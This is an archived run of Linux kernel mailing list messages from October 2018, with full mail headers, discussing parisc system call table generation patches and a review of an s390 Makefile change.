X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=ArY3BFkz0rmNWrTuNhZzYQCqSrq20jsW3WYrquudeP4=;
        b=TMFRAVgFQkePYWX1EwrpWW6z4v++rzPnoPOUPBw4aKag5G18qFDaWD6h+pSlM3ElDc
         MlYWaszO0SMeoqIfRNBJ0TfhPilNGVxl4Mhj430oNFK7xVyifCtdVGQIoTcdNa8txnK2
         SHFdr/ygOlhXGojWR2sXo8KLFxKmhHqr6JKUCINvzHMvsMHGEEovGb4LXpFSeDu3B2fM
         dEKX4PooZQiiGJrYzMdauU9jPpOBjzlwLqTvkKtmsLcGVJG/J+P4UH7F9vBRxnDlbXXR
         2e/28BOgNTKRsT5Ygq3Yzf2aDdJpkoms0D+JsbdwlgmWDIRLWpXcqO5pofAPTW7R4M5B
         WlOQ==
X-Gm-Message-State: ABuFfogVg1GWjFTqniERY6gbzvRHvT06OjDm9OA/NeUecmbeZsD9Du3b
        pAwBBuyWKDgSY5UVPa51UsAXNNQQ74GxC6iKPHw=
X-Google-Smtp-Source: ACcGV60Nu5dFx9iVySPWcbkLrXzijgwX0fAa7YfBHd0ktMtGAClNl6v1ILgJTkq08cldJhpuPokAnYbU6icQlu1gyyY=
X-Received: by 2002:aed:2bc6:: with SMTP id e64-v6mr8147114qtd.132.1538393788714;
 Mon, 01 Oct 2018 04:36:28 -0700 (PDT)
In-Reply-To: <1538058267-3765-4-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2886544 gmane.linux.ports.parisc:29060 gmane.linux.kernel.year-2038:3425 gmane.linux.kernel.cross-arch:47146
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2886544>

On Thu, Sep 27, 2018 at 4:25 PM Firoz Khan <firoz.khan@linaro.org> wrote:
>
> ---
>  arch/parisc/kernel/syscalls/Makefile       |  55 +++++
>  arch/parisc/kernel/syscalls/syscall_32.tbl | 342 +++++++++++++++++++++++++++++
>  arch/parisc/kernel/syscalls/syscall_64.tbl | 342 +++++++++++++++++++++++++++++
>  arch/parisc/kernel/syscalls/syscallhdr.sh  |  35 +++
>  arch/parisc/kernel/syscalls/syscalltbl.sh  |  42 ++++

I think we absolutely want to share the .tbl files for generating all
five outputs
(32-bit unistd.h, 64-bit unistd.h, 32-bit native syscall-table.S, 64-bit native
syscall-table.S, and 32-bit compat syscall-table.S) so we only
have to modify one file when adding another syscall, and to ensure that
 32/64 are in sync.

      Arnd


From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Heiko Carstens <heiko.carstens@de.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 5/7] drivers: s390: Avoids building drivers if ARCH is
 not s390.
Date: Mon, 1 Oct 2018 14:46:17 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20181001124617.GA3185@osiris>
References: <20180928020816.11251-1-leobras.c@gmail.com>
 <20180928020816.11251-6-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538397866 409 195.159.176.226 (1 Oct 2018 12:44:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 1 Oct 2018 12:44:26 +0000 (UTC)
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: Leonardo =?iso-8859-1?Q?Br=E1s?= <leobras.c@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 01 14:44:20 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g6xYi-0008Op-2n
	for glk-linux-kernel-4@m.gmane.org; Mon, 01 Oct 2018 14:44:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729334AbeJATYH (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 1 Oct 2018 15:24:07 -0400
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1]:38632 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1729289AbeJATYH (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 1 Oct 2018 15:24:07 -0400
Original-Received: from pps.filterd (m0098394.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id w91CYbgB006083
        for <linux-kernel@vger.kernel.org>; Mon, 1 Oct 2018 08:46:27 -0400
Original-Received: from e06smtp03.uk.ibm.com (e06smtp03.uk.ibm.com [195.75.94.99])
        by mx0a-001b2d01.pphosted.com with ESMTP id 2muhm95vpy-1
        (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Mon, 01 Oct 2018 08:46:27 -0400
Original-Received: from localhost
        by e06smtp03.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <heiko.carstens@de.ibm.com>;
        Mon, 1 Oct 2018 13:46:24 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
        by e06smtp03.uk.ibm.com (192.168.101.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
        Mon, 1 Oct 2018 13:46:20 +0100
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com [9.149.105.60])
        by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id w91CkJjD48824392
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
        Mon, 1 Oct 2018 12:46:19 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 64D2842049;
        Mon,  1 Oct 2018 15:46:00 +0100 (BST)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id F2A1242041;
        Mon,  1 Oct 2018 15:45:59 +0100 (BST)
Original-Received: from osiris (unknown [9.152.212.171])
        by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Mon,  1 Oct 2018 15:45:59 +0100 (BST)
In-Reply-To: <20180928020816.11251-6-leobras.c@gmail.com>
X-TM-AS-GCONF: 00
x-cbid: 18100112-0012-0000-0000-000002B0D6D3
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18100112-0013-0000-0000-000020E503FD
Content-Disposition: inline
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:,, definitions=2018-10-01_07:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1011 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=661 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1810010126
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2886628 gmane.linux.oprofile:13254 gmane.linux.ports.parisc:29061
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2886628>

On Thu, Sep 27, 2018 at 11:08:14PM -0300, Leonardo Brs wrote:
> Avoids building s390 drivers if 'make drivers/s390/' is called but
> ARCH is not s390.
> 
> Signed-off-by: Leonardo Brs <leobras.c@gmail.com>
> ---
>  drivers/s390/Makefile | 8 ++++----
>  1 file changed, 4 insertions(+), 4 deletions(-)
> 
> diff --git a/drivers/s390/Makefile b/drivers/s390/Makefile
> index a863b0462b43..0575f02dba45 100644
> --- a/drivers/s390/Makefile
> +++ b/drivers/s390/Makefile
> @@ -3,7 +3,7 @@
>  # Makefile for the S/390 specific device drivers
>  #
>  
> -obj-y += cio/ block/ char/ crypto/ net/ scsi/ virtio/
> -
> -drivers-y += drivers/s390/built-in.a
> -
> +ifeq ($(ARCH),s390)
> +	obj-y += cio/ block/ char/ crypto/ net/ scsi/ virtio/
> +	drivers-y += drivers/s390/built-in.a
> +endif

And then somebody wants to build with e.g. "make drivers/s390/cio/" and it
still doesn't work. So _if_ this should be supported then it should work
with all directory levels and all configuration options. Otherwise this is
going to be a never ending story.



From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 2/5] parisc: add __NR_Linux_syscalls macro with __NR_syscalls
Date: Mon, 1 Oct 2018 19:36:44 +0530
Lines: 64
Approved: news@gmane.org
Message-ID: <CALxhOnjrmfiPbSXf_ba3+5OyqZA6xuZue8PV4Pu7f3z+h-kUZg@mail.gmail.com>
References: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
 <1538058267-3765-3-git-send-email-firoz.khan@linaro.org> <CAK8P3a3ZOC-V0uOD6uD=Hg-AoN8mkJynD6ubpaTppevUvQ54qw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538402694 28187 195.159.176.226 (1 Oct 2018 14:04:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 1 Oct 2018 14:04:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 01 16:04:49 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g6yoa-0007E5-Qx
	for glk-linux-kernel-4@m.gmane.org; Mon, 01 Oct 2018 16:04:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729532AbeJAUoy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 1 Oct 2018 16:44:54 -0400
Original-Received: from mail-yw1-f66.google.com ([209.85.161.66]:46499 "EHLO
        mail-yw1-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1729516AbeJAUoy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 1 Oct 2018 16:44:54 -0400
Original-Received: by mail-yw1-f66.google.com with SMTP id j202-v6so1020858ywa.13
        for <linux-kernel@vger.kernel.org>; Mon, 01 Oct 2018 07:06:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=LFo3jQyTe0CnWSxQPVPa2xuL0CCmpc4r12t2l+3+l5M=;
        b=VNxkeHhNXgPG+cvmldvhpo8SqsJra8c21FhLztD+IExr3oTx7LBxwvmZ1afiARqX1W
         YIVpfUyAKqkHMjmAq9lu+BE9cJgxi274jp7ZAqXJZTYYdZG3Utuk8DC+k982EvSz1JpT
         mpbDU+Yr/CUcWu2SrArtGFDrKmEfYC3o+foH0=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=LFo3jQyTe0CnWSxQPVPa2xuL0CCmpc4r12t2l+3+l5M=;
        b=CCE1K1+ohCXtVgoTdBmntNrxMPk0HCmBWriQ8d29UAHf/vQ6m4kI/H5SdQtky06/NT
         0SRFR0p0TYRdeCFevtXdKcxZPQE/MTYRfIwzYcgnfnu4d6ZDE+vnwPQLS9V5+b7uQgao
         Bo6YaiKkebzSqHunFyjUqvD6En+LKP3/hU9pAniVeYLnmcsIFBReUEx7iCOmuCoxgj1b
         2FbvqOJuKbzMEm/sEjxLMM00ycK0pD2jVhqQes1VS0+I+wl3noCQajX62uE4uekokzVz
         CEfjGS3eH8bJN0tyAkGCxyNLKDbYyaKxpRBPswQ1sALtfNRuFQGOmlauTykztgfe15oc
         S85g==
X-Gm-Message-State: ABuFfojEp6pYCPC1jdSIYc7Ej/EvCLLdYAevqsFjXMcLdH3epoRD1Ubr
        p1OHIJQE0XNEZTJR5A79Nqyq3Eua+O9+SYX1655fZg==
X-Google-Smtp-Source: ACcGV63/lgKVx1PTeWhekneadllTKeOe8FVfYL6Zpghd1wiGqsVZMM9+P/55EaQM1VP9xh54mTtm64ZTwXMHs0IVZvw=
X-Received: by 2002:a81:25c4:: with SMTP id l187-v6mr5986479ywl.236.1538402815429;
 Mon, 01 Oct 2018 07:06:55 -0700 (PDT)
In-Reply-To: <CAK8P3a3ZOC-V0uOD6uD=Hg-AoN8mkJynD6ubpaTppevUvQ54qw@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2886692 gmane.linux.ports.parisc:29062 gmane.linux.kernel.year-2038:3437 gmane.linux.kernel.cross-arch:47165
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2886692>

Hi Arnd,

On Fri, 28 Sep 2018 at 17:44, Arnd Bergmann <arnd@arndb.de> wrote:
>
> On Thu, Sep 27, 2018 at 4:25 PM Firoz Khan <firoz.khan@linaro.org> wrote:
> >
> > 1. Update __NR_Linux_syscalls in uapi/asm/unistd.h manually
> >    by counting the no.of system calls. No need to update
> >    __NR_Linux_syscalls until we either add a new system call
> >    or delete an existing system call.
> >
> > 2. We can keep this feature it above mentioned script, that
> >    will count the number of syscalls and keep it in a gener-
> >    ated file. In this case we don't need to explicitly update
> >    __NR_Linux_syscalls in asm/unistd.h file.
> >
> > The 2nd option will be the recommended one. For that, I moved
> > the __NR_Linux_syscalls macro from uapi/asm/unistd.h to asm/
> > unistd.h. The macro __NR_syscalls also added for making the
> > name convention same across all architecture. While __NR_sys-
> > calls isn't strictly part of the uapi, having it as part of
> > the generated header to simplifies the implementation. We also
> > need to enclose this macro with #ifdef __KERNEL__ to avoid side
> > effects.
> >
> > Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> > ---
> >  arch/parisc/include/uapi/asm/unistd.h | 6 +++++-
> >  1 file changed, 5 insertions(+), 1 deletion(-)
> >
> > diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
> > index bb52e12..255c62a 100644
> > --- a/arch/parisc/include/uapi/asm/unistd.h
> > +++ b/arch/parisc/include/uapi/asm/unistd.h
> > @@ -366,7 +366,11 @@
> >  #define __NR_statx             (__NR_Linux + 349)
> >  #define __NR_io_pgetevents     (__NR_Linux + 350)
> >
> > -#define __NR_Linux_syscalls    (__NR_io_pgetevents + 1)
> > +#ifdef __KERNEL__
> > +#define __NR_syscalls           351
> > +#endif
> > +
> > +#define __NR_Linux_syscalls     __NR_syscalls
> >
>
> Hmm, now you have a __NR_Linux_syscalls macro that is defined in user
> space to a another macro that is not visible there. How about moving
> __NR_Linux_syscalls into arch/parisc/include/asm/unistd.h or
> replacing its users with __NR_syscalls instead?

Something went wrong when I created this patch series. Yes, this must be
reside in asm/unistd.h instead of uapi/asm/unistd.h. I would update this
change asap.

I would appreciate if some can perform boot test on actual platform.
Hopefully the above change doesn't make any problem.

Thanks
Firoz

>
>        Arnd


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 3/5] parisc: add system call table generation support
Date: Mon, 1 Oct 2018 19:53:12 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <CALxhOnjwY+n5qdNBsL2_ZxCMkGf=Fz=_MwMwBjrWS8=WzYxAQQ@mail.gmail.com>
References: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
 <1538058267-3765-4-git-send-email-firoz.khan@linaro.org> <CAK8P3a0D2G8=weYcua7G3HmL07vrYR_iExmmjt2SuokbJ=Vvog@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538403681 9337 195.159.176.226 (1 Oct 2018 14:21:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 1 Oct 2018 14:21:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 01 16:21:16 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g6z4V-00017H-0o
	for glk-linux-kernel-4@m.gmane.org; Mon, 01 Oct 2018 16:21:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729537AbeJAVB1 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 1 Oct 2018 17:01:27 -0400
Original-Received: from mail-yw1-f66.google.com ([209.85.161.66]:45814 "EHLO
        mail-yw1-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1729440AbeJAVB0 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 1 Oct 2018 17:01:26 -0400
Original-Received: by mail-yw1-f66.google.com with SMTP id v198-v6so675246ywg.12
        for <linux-kernel@vger.kernel.org>; Mon, 01 Oct 2018 07:23:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=QGhuLXMM2iHsxuvT+AdKp+qA+vU8LE9IkfnFkL39hIY=;
        b=gTsKkIFMDhv7hAJ32/TNxMsWSnCofUnuYx6NY8SZFrQqsBQ0HUgRYiVjcKaMtXgCj7
         oLOYEwtAz735x9ixZ6DH5SSpHRuhLpjfDWLQApJ4VotKHSy7pY4RMvOJEg24eAoOYzaq
         u3/qFXFwJqDj2aTN08gvhGR2CvzZu7mmDPc48=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=QGhuLXMM2iHsxuvT+AdKp+qA+vU8LE9IkfnFkL39hIY=;
        b=V3bbfHNtjhhkAFl6XH8WuViPVwXakAq3ZyoMASLEulciG31Vsz9NFgIb6+MTkOqOyw
         IK6lULUHw27tba5WI/2BED1q0TdgGe8sf3kb0vdNweQcJt3QIWRd3tXt89ZhOyarFJp7
         1XprYV8/lSQ20ECwrl2aIDWlpsQPRLDy1zkaVm4b2QMtWlGRvBpEKCVaA7jYqmUDvs68
         zNmRDH6BzweX8r5tcY9P0KBK4LZ9FjQ659j3uPo13v8DdzZ3rbo80AoKd2Nn8kJ1uR2R
         96pyP9UJDde+f4YQZ3RZwubqIvfsI93joiR0D+hzc4Mk3+z6DZPjcd7qS0J+cSPTCzk/
         bnfQ==
X-Gm-Message-State: ABuFfoj3Se6/R1KkO3iYUnfqqgaeiFj3nffICr2cs7GgaKgOEAHF3rQC
        dRJr5rKOLJF7xesJxi1U+V09XorLZ3BEKl9Lgl6bgQ==
X-Google-Smtp-Source: ACcGV61kCB2GOz6/lf10tP59z0RpCp2EKT3LlR0yCgvGrFHesE64RI6xTE1jjO10Yl/xMaPNzOTQ55o3Vh3vuf2XE8k=
X-Received: by 2002:a0d:d801:: with SMTP id a1-v6mr5811419ywe.399.1538403803319;
 Mon, 01 Oct 2018 07:23:23 -0700 (PDT)
In-Reply-To: <CAK8P3a0D2G8=weYcua7G3HmL07vrYR_iExmmjt2SuokbJ=Vvog@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2886724 gmane.linux.ports.parisc:29063 gmane.linux.kernel.year-2038:3441 gmane.linux.kernel.cross-arch:47169
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2886724>

Hi Arnd,

On Mon, 1 Oct 2018 at 17:06, Arnd Bergmann <arnd@arndb.de> wrote:
>
> On Thu, Sep 27, 2018 at 4:25 PM Firoz Khan <firoz.khan@linaro.org> wrote:
> >
> > ---
> >  arch/parisc/kernel/syscalls/Makefile       |  55 +++++
> >  arch/parisc/kernel/syscalls/syscall_32.tbl | 342 +++++++++++++++++++++++++++++
> >  arch/parisc/kernel/syscalls/syscall_64.tbl | 342 +++++++++++++++++++++++++++++
> >  arch/parisc/kernel/syscalls/syscallhdr.sh  |  35 +++
> >  arch/parisc/kernel/syscalls/syscalltbl.sh  |  42 ++++
>
> I think we absolutely want to share the .tbl files for generating all
> five outputs
> (32-bit unistd.h, 64-bit unistd.h, 32-bit native syscall-table.S, 64-bit native
> syscall-table.S, and 32-bit compat syscall-table.S) so we only
> have to modify one file when adding another syscall, and to ensure that
>  32/64 are in sync.

For this design, I need to rework. I'll update you shortly

- Firoz
>
>       Arnd


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc fixes for kernel v4.19
Date: Tue, 2 Oct 2018 23:02:13 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20181002210213.GA17826@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1538514023 2256 195.159.176.226 (2 Oct 2018 21:00:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Oct 2018 21:00:23 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 02 23:00:18 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7RmC-0000Oy-0Z
	for glk-linux-kernel-4@m.gmane.org; Tue, 02 Oct 2018 23:00:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727607AbeJCDrj (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 2 Oct 2018 23:47:39 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:52583 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726407AbeJCDrj (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 2 Oct 2018 23:47:39 -0400
Original-Received: from ls3530.fritz.box ([92.116.181.135]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LdHqj-1fP4a81EMT-00iTwF; Tue, 02
 Oct 2018 23:02:17 +0200
Original-Received: from ls3530.fritz.box ([92.116.181.135]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LdHqj-1fP4a81EMT-00iTwF; Tue, 02
 Oct 2018 23:02:17 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:358Mr3mlUDOIlOPeZTSLMPoR1uxCKyOKYo6999627PypkghL0t8
 96RUkrTKy4LuxrqYfYDggvbpMn24PSlluTyo+1bReringcJ3TKuPHWTDaDdNfyUbrUZAq1Z
 6brQK4bxbFbDXvUk+aAIQZPtZaYvcNushIeW8A4+rSGBRjcXmCUBFkfDQO5pnlC8c6/9keu
 Ebb9GUXpRsIQzlvYO6i/g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:+qaORvzqpk0=:LKtOXCnSYEw8/Fcam14tBU
 DJpKk8TpruYrX5Z9g71AyG4WWCFuaPa6/XkqJYKPHwoGqfENLCSg1xINf/eAmfAL+uwfwvUeS
 k76FvR5UIb7fTUg2nTwm/96oKw1U1SI0KpxUhT+cEPSeM7Xihj5tWRjzHbtoEukbOkla5Yscp
 zHbbdsplG3kkRNGPaDL5A5ta5Woh3tV3m25uIyF144d80Wcc7DpgPDG2diWg51A468yPE+EbL
 6YJU1iaHgkwiGw2NgmYaSqMY46srdXQ3w5+nVbM+CoDdQ0So1vFGHeMV7eU1GHwNq7HLgPbbQ
 /SedIAmAzhCjkIlFyzjkatfJx7tcOqxTlW83hvw4/4Vyg4t1pcFIdc+NIdhEvsJUXztyzodjl
 ZfsnwHMto9RW+KbFE0fD1qgT0GQOe2CcUgEBnbavXKSykA71BIkXRF/r5NuErEoSykgujdsfI
 D1LWWkoXQ8WW2jU/REIXuSWX84WFVlRnKe+99NmHJ7c/iiyckq4LLs3ZAxQ+PF+dwNT6Lf5xU
 dWwERHNI4hyjz9vWFgNtC4tXgoAHm4f7FniHbaN1Sdn3Nho2/pMhNOcL7DBSwWFiJP3VS4NRp
 J3qSRkaH60OiPC34yygpN6MgA40brH6LmUrXSPzJd22F18tqPPp3ctjKp+Iyduj445XZA+UwY
 Ow+/O8RZ9rpn0FaTOtuuDo/dtkSOPaFd8gRkDJh6bePc1XJRx6tOgoL1tl6hw7YBY2l95k+wX
 iTaJDGKPp5PkNukX6pnQzt0fE781M433s8iFokBXQJwgKuw9RfrlkPimAisscFmHMBq6A813 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2888506 gmane.linux.ports.parisc:29064
